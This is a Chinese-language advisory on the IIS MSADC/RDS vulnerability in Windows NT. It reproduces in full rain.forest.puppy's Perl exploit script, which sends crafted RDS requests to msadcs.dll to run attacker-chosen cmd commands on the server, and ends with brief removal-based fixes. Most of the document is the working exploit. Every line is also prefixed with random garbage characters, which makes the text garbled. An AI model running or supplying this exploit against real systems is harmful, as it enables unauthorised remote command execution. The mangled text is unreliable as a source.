IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
eKyqU9 xdqK.Z% 涉及程序:
%P;[fJ
`G Microsoft NT server
Tv1]v. ;5N41_hG 描述:
^;4YZwW5w 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
a5)JkC ncj!KyU 详细:
#hy+ L 如果你没有时间读详细内容的话,就删除:
[8TS"ph> c:\Program Files\Common Files\System\Msadc\msadcs.dll
:mP9^Do2; 有关的安全问题就没有了。
<n\i>A3`,S AJdp6@O+ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
a(f(R&-:$Y $cu]_gu 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
+X[8wUm|^ 关于利用ODBC远程漏洞的描述,请参看:
SwX@I6huM NZP7r;u http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =-5[Hn% @i{]4rk lv 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
/e(W8aszi http://www.microsoft.com/security/bulletins/MS99-025faq.asp AX K95eS (7~%B" 这里不再论述。
2eHx"Ha D?mDG|Z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
2qjyFTT DLXL!-)z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
6<PW./rk: 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
f7
wmw2 14-]esSa dWUUxKC #将下面这段保存为txt文件,然后: "perl -x 文件名"
h9jc,Xu5X ?9Ma^C;} #!perl
E>"8/ #
($'V&x8T # MSADC/RDS 'usage' (aka exploit) script
.lr5!Stb #
~?d>fR:X # by rain.forest.puppy
>uHb ^ #
(-J<Vy] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R+uw/LG # beta test and find errors!
;?`@"YG) %4/xH9 use Socket; use Getopt::Std;
JRo;(wqZ getopts("e:vd:h:XR", \%args);
Bq;1^gtpe x9D/s`! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
d#8e~ .:N:p We if (!defined $args{h} && !defined $args{R}) {
FB_NkXR print qq~
!=y Q)l2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
@h9K -h <host> = host you want to scan (ip or domain)
d>/Tu_ y -d <seconds> = delay between calls, default 1 second
TL'0T,Jo -X = dump Index Server path table, if available
}/"4|U -v = verbose
%/!+(7
D -e = external dictionary file for step 5
<]'|$8&jY V)h
y0_ Or a -R will resume a command session
~
aA;<# t#~XLCE ~; exit;}
-;/
Y g>T $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
EZ{\D!_Y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+q-c8z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]!faA\1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
LQ>$>A( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6n,xH!7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Yv=g^tw T%~SM5 if (!defined $args{R}){ $ret = &has_msadc;
A2BRbwr> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t}~UYG(h~ #Cx%OIi[f print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ld~ q1*7J . "cmd /c ";
\4QH/e $in=<STDIN>; chomp $in;
R;'?;I $command="cmd /c " . $in ;
)qd={ CIy^`2wq if (defined $args{R}) {&load; exit;}
=f `=@] u(Rk'7k print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'kEG.Oq7 &try_btcustmr;
bvp)r[8h bl$j%gI%, print "\nStep 2: Trying to make our own DSN...";
(Vap7.6;_ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Z'ao[CG 7_%2xewV| print "\nStep 3: Trying known DSNs...";
LD_M 3
P &known_dsn;
/ao<A\KR 7 Kjj?~RA print "\nStep 4: Trying known .mdbs...";
%"+4
D,'l &known_mdb;
yzg9I y!hi"! if (defined $args{e}){
LuL$v+` print "\nStep 5: Trying dictionary of DSN names...";
q)k{W>O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*m&%vj.Kc > Y]_K print "Sorry Charley...maybe next time?\n";
\HD-vINV; exit;
N%*9&FjrL r&Qt_ ##############################################################################
b!,ja? 0ERsMnU' sub sendraw { # ripped and modded from whisker
sZwZWD' sleep($delay); # it's a DoS on the server! At least on mine...
yKlU6t&`
G my ($pstr)=@_;
i7s\CY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.R\p[rv& die("Socket problems\n");
8JP6M!F# if(connect(S,pack "SnA4x8",2,80,$target)){
FJF3B)Va| select(S); $|=1;
~QCA -Yud print $pstr; my @in=<S>;
RJwb@r<v select(STDOUT); close(S);
8$m1eQ`{ return @in;
BjvdnbJg } else { die("Can't connect...\n"); }}
rei5{PC \OA
L Or ##############################################################################
Ih3$ 6%UY1Q.? sub make_header { # make the HTTP request
\j:AR4 my $msadc=<<EOT
xG w?'\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
&+]x;K User-Agent: ACTIVEDATA
B\/7^{i5 Host: $ip
o X@nP?\ Content-Length: $clen
-f 4>MG Connection: Keep-Alive
!xymoiArp pALJl[Cb ADCClientVersion:01.06
k,lqT>C Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
l#ZyB| yfC2^#9 Zu --!ADM!ROX!YOUR!WORLD!
rmQ\RP W Content-Type: application/x-varg
F+3!uWUK Content-Length: $reqlen
nzWQQra|? NnP.k7m) EOT
|
+fwvi&a ; $msadc=~s/\n/\r\n/g;
pND48 g; return $msadc;}
+dM.-wW 71*>L}H ##############################################################################
PF67z]<o t2U$m'(A& sub make_req { # make the RDS request
vbedk+dd?A my ($switch, $p1, $p2)=@_;
8m|x#*5fQl my $req=""; my $t1, $t2, $query, $dsn;
*W%'Di y
qkX:jt if ($switch==1){ # this is the btcustmr.mdb query
7PA=)a\ $query="Select * from Customers where City=" . make_shell();
"*t6t4/Q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
A6Q c;v+ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
JSRg?p\ v4D!7t&v" elsif ($switch==2){ # this is general make table query
s.KOBNCFa $query="create table AZZ (B int, C varchar(10))";
/k)
NP $dsn="$p1";}
jceHKl L\YZT|
K( elsif ($switch==3){ # this is general exploit table query
%UBPoq $query="select * from AZZ where C=" . make_shell();
O"8 P#Ed $dsn="$p1";}
wR(ttwxK3 ]| z")gOE elsif ($switch==4){ # attempt to hork file info from index server
xY+A]Up|w $query="select path from scope()";
<\p&jk? $dsn="Provider=MSIDXS;";}
9>IsqYc 'f8
p7_F elsif ($switch==5){ # bad query
kR_E6Fl $query="select";
m
EFWo $dsn="$p1";}
[?|5oaK pj+tjF6Np $t1= make_unicode($query);
=/m}rcDN $t2= make_unicode($dsn);
..aK sSm( $req = "\x02\x00\x03\x00";
}FZp840 $req.= "\x08\x00" . pack ("S1", length($t1));
g&P9UW>qS $req.= "\x00\x00" . $t1 ;
-: C[P $req.= "\x08\x00" . pack ("S1", length($t2));
[RW,{A $req.= "\x00\x00" . $t2 ;
F=VoFmF@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
a0 qj[+ return $req;}
/CbkqNV r&=r/k2 ##############################################################################
WFXx70n ${e -ffyy sub make_shell { # this makes the shell() statement
ijg,'a~3E return "'|shell(\"$command\")|'";}
w2'
3S#nZ /lru"R D ##############################################################################
x7Eeb!s0f, noFh p sub make_unicode { # quick little function to convert to unicode
WVj&0 my ($in)=@_; my $out;
J09ZK8
hK for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*x5o=)Y return $out;}
27$\sG|g N!Rt;Xm2@ ##############################################################################
wAPO{3 X+\0%| sub rdo_success { # checks for RDO return success (this is kludge)
7@3M]5:3g my (@in) = @_; my $base=content_start(@in);
!SN6
?Xy if($in[$base]=~/multipart\/mixed/){
m[{nm95QZ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%N!h38N2 return 0;}
JW2W>6Dgv[ .ZM]%[4 ##############################################################################
U24V55ZnI V.+DP sub make_dsn { # this makes a DSN for us
rC=f#YjR my @drives=("c","d","e","f");
h@EJTAi print "\nMaking DSN: ";
<x ^IwS foreach $drive (@drives) {
p{w}
print "$drive: ";
N{|[R
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
g\E ._ab< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
f.sPE8#3= . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
0GF%~6 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
s8C:QC return 0 if $2 eq "404"; # not found/doesn't exist
UX03"gX
if($2 eq "200") {
*pmoLiuB> foreach $line (@results) {
9.^-us1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
U. NeK{ } return 0;}
MI?]8+l qEPf-O:lm ##############################################################################
yZQ1]
'^31 u)wu=z8 sub verify_exists {
k:@a[qnY my ($page)=@_;
1i ?gvzrq my @results=sendraw("GET $page HTTP/1.0\n\n");
j@s=ER return $results[0];}
&IxxDvP3k G;87in ,} ##############################################################################
2nVuz9h 9(V=Ubj sub try_btcustmr {
+*WUH513 my @drives=("c","d","e","f");
6f<*1YR
F my @dirs=("winnt","winnt35","winnt351","win","windows");
7m vSo350 \nn56o@eN foreach $dir (@dirs) {
iLc)"L-i print "$dir -> "; # fun status so you can see progress
YN$ndqOP foreach $drive (@drives) {
Ov F8&*A print "$drive: "; # ditto
8uD8or $reqlen=length( make_req(1,$drive,$dir) ) - 28;
RRK^~JQI.2 $reqlenlen=length( "$reqlen" );
Mp}!+K $clen= 206 + $reqlenlen + $reqlen;
Nu>sp,|A +F#=`+V my @results=sendraw(make_header() . make_req(1,$drive,$dir));
BHIZHp if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
sqgD?:@J else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
2y&_Z^kI? ;F"
kD ##############################################################################
}?\#_BCjx( sASAsGk< sub odbc_error {
dfYYyE my (@in)=@_; my $base;
AycA:< my $base = content_start(@in);
Y0R\u\b if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
v)X[gt
tf $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+-xSuR, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1_p[*h $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h Kp,4D>2_ return $in[$base+4].$in[$base+5].$in[$base+6];}
/S-/SF:>g print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[J[ysW})W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9u-M! $ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
i!/h3%= I_R5\l}O+D ##############################################################################
TZvBcNi &z{dr~ sub verbose {
*RUd!]bh my ($in)=@_;
VuYWb)@ return if !$verbose;
^H@!)+
= print STDOUT "\n$in\n";}
A,-[/Z K/ >n@>h$] ##############################################################################
3M`hn4)K uaZ"x&oZ# sub save {
ru(?a~lF8~ my ($p1, $p2, $p3, $p4)=@_;
q329z> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
L~SrI{aYPf print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
FcJ.)U close OUT;}
,Yiq$Z{qQ U>3%!83kF ##############################################################################
9g<_JcN soFvrl^Ql+ sub load {
@eAGN|C5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Q}k_#w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7k[`]:*o @p=<IN>; close(IN);
=]2RC1#}e $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
MfZ}xu $target= inet_aton($ip) || die("inet_aton problems");
8H$@Xts print "Resuming to $ip ...";
kOlI?wc $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
P5ESrZ@f if($p[1]==1) {
@ B}c4, $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[|m>vY! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
@hz0:ezg: my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_mI:Lr#dT if (rdo_success(@results)){print "Success!\n";}
Y`[HjS, else { print "failed\n"; verbose(odbc_error(@results));}}
(<AM+| elsif ($p[1]==3){
{ 8|Z}?I if(run_query("$p[3]")){
_Oaso > print "Success!\n";} else { print "failed\n"; }}
ZQJw2LA gO elsif ($p[1]==4){
KY(l<pm if(run_query($drvst . "$p[3]")){
[W8iM7D print "Success!\n"; } else { print "failed\n"; }}
|n-a\ exit;}
7!` C TE 8gu7f;H/k ##############################################################################
#7cf 8y F(J!dG5# sub create_table {
'6Z/-V4k my ($in)=@_;
Xbsj:Ko]]U $reqlen=length( make_req(2,$in,"") ) - 28;
K_w0+oY a $reqlenlen=length( "$reqlen" );
*6\`A!C $clen= 206 + $reqlenlen + $reqlen;
3ec==. my @results=sendraw(make_header() . make_req(2,$in,""));
=c5 /cpZ^ return 1 if rdo_success(@results);
Hi4@!] my $temp= odbc_error(@results); verbose($temp);
5G42vTDzS4 return 1 if $temp=~/Table 'AZZ' already exists/;
v=yI#5 return 0;}
QBBJ1U [K|>s(Sf* ##############################################################################
!MG>z\: L{o >D" sub known_dsn {
>>
8KL`l # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ZCOuv6V+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
*|.yX%"k "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Ow&'sR'CX "banner", "banners", "ads", "ADCDemo", "ADCTest");
H?zCIue3 V=8{CmqT foreach $dSn (@dsns) {
=:R[gdA#1 print ".";
[b)K@Ha next if (!is_access("DSN=$dSn"));
Kw5+4R(5 if(create_table("DSN=$dSn")){
$4ZDT]n print "$dSn successful\n";
"l2N_xX; if(run_query("DSN=$dSn")){
EF7|%N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
fAA@ziKg print "Something's borked. Use verbose next time\n";}}} print "\n";}
ss M9t 3\U,Kg ##############################################################################
?U.&7yY Bbe/w#Z sub is_access {
y0mg}N1 my ($in)=@_;
*MyS7< $reqlen=length( make_req(5,$in,"") ) - 28;
vng8{Mx90* $reqlenlen=length( "$reqlen" );
>=q!!'$: $clen= 206 + $reqlenlen + $reqlen;
6[Pr<4J my @results=sendraw(make_header() . make_req(5,$in,""));
%_X[{( my $temp= odbc_error(@results);
=w>>7u$4 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4@V <Suw return 0;}
B#V4 m#}{"d&J ##############################################################################
GT`<jzAi Q 0T{Y_IG sub run_query {
9[]"%6 my ($in)=@_;
gQzJ2LU( $reqlen=length( make_req(3,$in,"") ) - 28;
0_xcrM $reqlenlen=length( "$reqlen" );
bU +eJU_% $clen= 206 + $reqlenlen + $reqlen;
J;]@?( my @results=sendraw(make_header() . make_req(3,$in,""));
NB6h/0*v return 1 if rdo_success(@results);
#L*@~M^] my $temp= odbc_error(@results); verbose($temp);
%cjGeS6} return 0;}
KL_}:O68 /n 3&e ##############################################################################
5<GRi"7A@ <?va)
ou sub known_mdb {
L5N{ie_ my @drives=("c","d","e","f","g");
e^fKatI1 my @dirs=("winnt","winnt35","winnt351","win","windows");
$A!h=] my $dir, $drive, $mdb;
v(nQd6;T my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(R
2P<
Zr kviSQM2 # this is sparse, because I don't know of many
x[uXD my @sysmdbs=( "\\catroot\\icatalog.mdb",
kk7:A0._ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~X(xa "\\system32\\certmdb.mdb",
k^%ec3l "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
hy`)]>9z~ o%JIJ7M my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
DO,&Foh\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
,ce^"yG "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
g4qdm{BL "\\cfusion\\cfapps\\security\\realm_.mdb",
~E|V{z% "\\cfusion\\cfapps\\security\\data\\realm.mdb",
dGW7,B~ "\\cfusion\\database\\cfexamples.mdb",
Kxaz^$5Y$ "\\cfusion\\database\\cfsnippets.mdb",
7wEG<,D "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Oqe.t;E 0} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
HaN_}UMP
"\\cfusion\\brighttiger\\database\\cleam.mdb",
h}<ZZ "\\cfusion\\database\\smpolicy.mdb",
B]}V$*$\? "\\cfusion\\database\cypress.mdb",
e;u8G/ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y_YIJ@ "\\website\\cgi-win\\dbsample.mdb",
c89vx 9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
LsZ!':LN "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(eE}W~Z ); #these are just
Sg~A'dG foreach $drive (@drives) {
q _|5,_a foreach $dir (@dirs){
yQ&%* ?J foreach $mdb (@sysmdbs) {
+((31l print ".";
nL20}"$E if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
17 iq print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
iC2nHZ*, if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
j;'Wf[V print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
U+M?<4J)" } else { print "Something's borked. Use verbose next time\n"; }}}}}
:Aiu!}\ ;@s~t:u foreach $drive (@drives) {
5kNs@FP foreach $mdb (@mdbs) {
V
*y print ".";
B;je|M!d if(create_table($drv . $drive . $dir . $mdb)){
-)+DVG.t print "\n" . $drive . $dir . $mdb . " successful\n";
$s!meg@s if(run_query($drv . $drive . $dir . $mdb)){
n{WJ.Y* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
%"fKZ } else { print "Something's borked. Use verbose next time\n"; }}}}
*9wHH-# }
g}KZL-p4\m *uM*)6O 3 ##############################################################################
bu9&sQ; wcT6d?*5 sub hork_idx {
6+#cyKj print "\nAttempting to dump Index Server tables...\n";
'
uw&f;/E print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
,lM2BXz% $reqlen=length( make_req(4,"","") ) - 28;
cBf{R^>Fd $reqlenlen=length( "$reqlen" );
^C|9K>M $clen= 206 + $reqlenlen + $reqlen;
_oVA0@#n my @results=sendraw2(make_header() . make_req(4,"",""));
Pk_{{Z(1o if (rdo_success(@results)){
J :(\o=5 5 my $max=@results; my $c; my %d;
FWN%JCOj@ for($c=19; $c<$max; $c++){
<ft9B05* $results[$c]=~s/\x00//g;
[&V%rhi $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Ls*=mh~IY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
X6 cb#s0| $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
b<7qmg3 $d{"$1$2"}="";}
3<V!y&a foreach $c (keys %d){ print "$c\n"; }
#_\~Vrf(# } else {print "Index server doesn't seem to be installed.\n"; }}
A@'W $p?5r 83*k.]S` ##############################################################################
0E1)&f 1zW6Pb sub dsn_dict {
giJyMd}x open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Tyl"N{ _ while(<IN>){
Q6>( Z $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-y<uAI g next if (!is_access("DSN=$dSn"));
zy;w07-) if(create_table("DSN=$dSn")){
fTgN2U print "$dSn successful\n";
MEUqQ4/Gl if(run_query("DSN=$dSn")){
h]P$L> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~T9[\nU\ print "Something's borked. Use verbose next time\n";}}}
ztpb/9J9 print "\n"; close(IN);}
k({8C`&tK/ `_i-BdW ##############################################################################
gs>cx]> KW<CU' sub sendraw2 { # ripped and modded from whisker
k>`X!
" sleep($delay); # it's a DoS on the server! At least on mine...
rOT8!" my ($pstr)=@_;
hNy S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
K e8cfd~c die("Socket problems\n");
h6t>yC\ if(connect(S,pack "SnA4x8",2,80,$target)){
}JsdgO&z print "Connected. Getting data";
*Rd&4XG open(OUT,">raw.out"); my @in;
wBET.l'd select(S); $|=1; print $pstr;
8 Hn{CJ~' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}dM^6
Kd% close(OUT); select(STDOUT); close(S); return @in;
V^i3:' } else { die("Can't connect...\n"); }}
./'n2$^3 p'*UM%@SIY ##############################################################################
4KnDXQ% lTXU sub content_start { # this will take in the server headers
W%ud nJ my (@in)=@_; my $c;
.w~USJ=X for ($c=1;$c<500;$c++) {
R7i*f/m if($in[$c] =~/^\x0d\x0a/){
xjN~Y D: if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
wah` else { return $c+1; }}}
`O/)q^m1L return -1;} # it should never get here actually
O}Jb,?p ;l'I.j ##############################################################################
cx|j
_5%i l;uEw sub funky {
d9(F wmE my (@in)=@_; my $error=odbc_error(@in);
zBbTj IFQ if($error=~/ADO could not find the specified provider/){
?*4zNhL print "\nServer returned an ADO miscofiguration message\nAborting.\n";
\<} nn?~n exit;}
L;"<8\vWB if($error=~/A Handler is required/){
v6:DA#0 print "\nServer has custom handler filters (they most likely are patched)\n";
u#\3T>o%@ exit;}
$$@Tgkg?o if($error=~/specified Handler has denied Access/){
XHr{\/4V print "\nServer has custom handler filters (they most likely are patched)\n";
Tx5L exit;}}
ect?9S[!y WxFjpJt
##############################################################################
'SmdU1]4BD 5
Jhl4p}w sub has_msadc {
=%L^!//c my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
d,77L my $base=content_start(@results);
O,cx9N return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
($wYawz return 0;}
s@$AYZm_ c nzPq\ ########################
oC
[g u2t<auE9^ oZ}e
w!V 解决方案:
g:Dg?_o 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X'c5s~9 2、移除web 目录: /msadc